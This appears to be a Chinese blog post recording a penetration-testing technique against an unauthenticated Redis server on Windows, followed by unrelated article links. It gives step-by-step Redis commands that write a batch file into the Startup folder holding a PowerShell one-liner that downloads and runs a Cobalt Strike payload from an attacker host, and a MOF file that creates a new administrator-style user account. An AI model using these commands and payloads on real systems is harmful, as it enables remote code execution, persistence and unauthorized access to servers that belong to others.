Redis奇怪的姿势

写在前面

之前渗透 摸鱼 时和小伙伴发现了一个redis,存在未授权,是win服务器但是没有路径,度娘了之后发现了这个姿势,特此学习记录一下。

写入启动项

环境搭建

windows 07

redis 2.X

VPS + CS teamserver

kali CSclient

win7 启动redis

redis-server redis.conf

启动CS teamserver

nohup ./teamserver ip password

漏洞复现

step0

目前已知

windows服务器 + redis未授权 + 无web路径

因此写入启动项直接cs上线

tips:

windows开机启动目录一般为

`C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/`

由于Start Menu有空格,需要双引号将路径包含。

目标

cs上线这台运行redis的win7机器

step1

添加一个Listener监听器

选择 攻击-->钓鱼攻击-->Scripted Web Delivery(S),选择刚才添加的Listener

点击 开始 生成powershell的shellcode

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"

将shellcode复制出来备用

step2

后面过程类似于向目标机器中利用redis写webshell

这里有几个小坑点,一个是注意服务器的管理员名称,比如我的就是admin,其次是设置x的value时,因为redis的语法 使用 set key "value" 时需要双引号包裹value的值,而如果value内的payload也需要双引号时需要在value内的双引号前加反斜杠 \ 转义双引号。

192.168.124.158:6379> config set dir "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\PrograOK\\startup\\"
192.168.124.158:6379> config set dbfilename test.bat
OK
192.168.124.158:6379> set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))\"\r\n\r\n"
OK
192.168.124.158:6379> save
OK
192.168.124.158:6379>

可以看到目标机器成功写入

后续只需重启机器,此目标服务器就上线了。

总结

虽然需要重启算是比较鸡肋的一个点,但是在不知道路径的情况下提供了一个新的思路。

需要的前提条件有:

redis未授权/弱口令

windows服务器(参考文章为win2003,我自己用的win7都可上线)

有启动项目录相应写入权限

重启服务器(可结合简单钓鱼等)

写入MOF

也是根据作者的文章,在无法重启时该怎么办。作者提供了一个思路,写入mof中,因为mof会每隔5s去监控进程的创建和死亡,功能已经类似于计划任务。在mof中有一段是vbs脚本,可以利用此脚本去添加管理员用户。

MOF目录,此目录下的mof文件每隔5s执行一次

c:/windows/system32/wbem/mof/

step0

准备MOF文件内容

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

step1

先执行如下命令

(echo -e "\n\n"; cat mof.txt; echo -e "\n\n") > foo.txt

redis命令行执行

config set dir "c:\\windows\\system32\\wbem\\mof"
config set dbfilename 123.mof
get x //确认下是否将mof文件内容写入
save

之后就可以看到添加了一个新的3shine用户。

参考文章

https://www.anquanke.com/post/id/170360

Redis奇怪的姿势的更多相关文章

  1. BZOJ-1968 COMMON 约数研究 数论+奇怪的姿势

    1968: [Ahoi2005]COMMON 约数研究 Time Limit: 1 Sec Memory Limit: 64 MB Submit: 1513 Solved: 1154 [Submit] ...

  2. COGS 2479 奇怪的姿势卡♂过去 (bitset+折半)

    思路: 此题显然是CDQ套CDQ套树套树 (然而我懒) 想用一种奇怪的姿势卡过去 就出现了以下解法 5w*5w/8的bitset hiahiahia 但是空间会爆怎么办啊- 折半~ 变成5w*2.5w ...

  3. centos7安装redis的正确姿势

    目前redis5已经发布,Redis 5 是 Redis 引入流数据类型(Stream data type)的第一个版本.按照官方的说法,不使用该特性的用户在生产环境中使用 Redis 5 会有更好的 ...

  4. windows安装redis的正确姿势

    安装: 1,redis官方下载地址:https://redis.io/download,redis 64位下载地址:https://github.com/ServiceStack/redis-wind ...

  5. Spring Boot (五): Redis缓存使用姿势盘点

    1. Redis 简介 Redis 是目前业界使用最广泛的内存数据存储.相比 Memcached,Redis 支持更丰富的数据结构,例如 hashes, lists, sets 等,同时支持数据持久化 ...

  6. Prometheus 监控 Redis 集群的正确姿势

    Prometheus 监控Redis的正确姿势(redis集群) Prometheus 监控 Redis cluster,其实套路都是一样的,使用 exporter. exporter 负责采集指标, ...

  7. 善待Redis里的数据--Unable to validate object

    又是一篇关于姿势的文章,为什么是”又”呢?因为上个星期刚写完一篇关于Apache Commons Pool的正确使用姿势的文章,点击此处阅读. Redis为我们提供便利的同时,我们也要善待里面的数据 ...

  8. 转载:善待Redis中的数据

    Redis是我们数据的保管者,我们可以随时存随时取,大的小的,重要的不重要的,它都毫无怨言的帮我们保存着,甚至有些时候,我们变得很懒,存东西进去的时候顺便还贴张纸:"过了一个星期就帮我扔了吧 ...

  9. [转]Node.js中koa使用redis数据库

    本文转自:https://blog.csdn.net/offbye/article/details/52452322 Redis是一个常用的Nosql数据库,一般用来代替Memcached做缓存服务, ...

随机推荐

  1. docker 创建各容器命令合集

    学习中...持续更新 docker-compose安装: curl -L https://github.com/docker/compose/releases/download/1.27.4/dock ...

  2. ROS2学习之旅(13)——创建ROS2 功能包

    一个功能包可以被认为是ROS2代码的容器.如果希望能够管理代码或与他人共享代码,那么需要将其组织在一个包中.通过包,可以发布ROS2工作,并允许其他人轻松地构建和使用它. 在ROS2中,创建功能包使用 ...

  3. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  4. Linux | 压缩与解压详解

    tar tar 命令用于对文件进行打包压缩或解压,格式: tar [选项][文件] tar命令的参数及其作用 参数 作用 -c 创建压缩文件 -x 解开压缩文件 -t 查看压缩包内有哪些文件 -z 用 ...

  5. C语言:if条件写法

    if 语句的判断条件中不是必须要包含关系运算符,它可以是赋值表达式,甚至也可以是一个变量,常量 例如: //情况① if(b){ //TODO: } //情况② if(b=5){ //情况① //TO ...

  6. c语言:DEV-C++5.10调试设置

    DEV-C++调试设置方法:默认不能调试,打开调试的方法: 1.点击"工具"菜单--编译选项--"代码生成/优化"--连接器--"产生调试信息&quo ...

  7. python exec()函数

    ''' 函数的作用: 动态执行python代码.也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值. exec(source, globals=None, l ...

  8. LeetCode 982. Triples with Bitwise AND Equal To Zero

    题目链接:https://leetcode.com/problems/triples-with-bitwise-and-equal-to-zero/ 题意,已知数组A,长度不超过1000,最大的数不超 ...

  9. 如何监控 Log4j2 异步日志遇到写入瓶颈

    如何监控 Log4j2 异步日志遇到写入瓶颈 在之前的一篇文章中(一次鞭辟入里的 Log4j2 异步日志输出阻塞问题的定位),我们详细分析了一个经典的 Log4j2 异步日志阻塞问题的定位,主要原因还 ...

  10. Hive——基本DDL语句

    Hive--基本DDL语句 DDL:Data Definition Language(数据定义语言,与关系型数据库相似) 官方手册:https://cwiki.apache.org/confluenc ...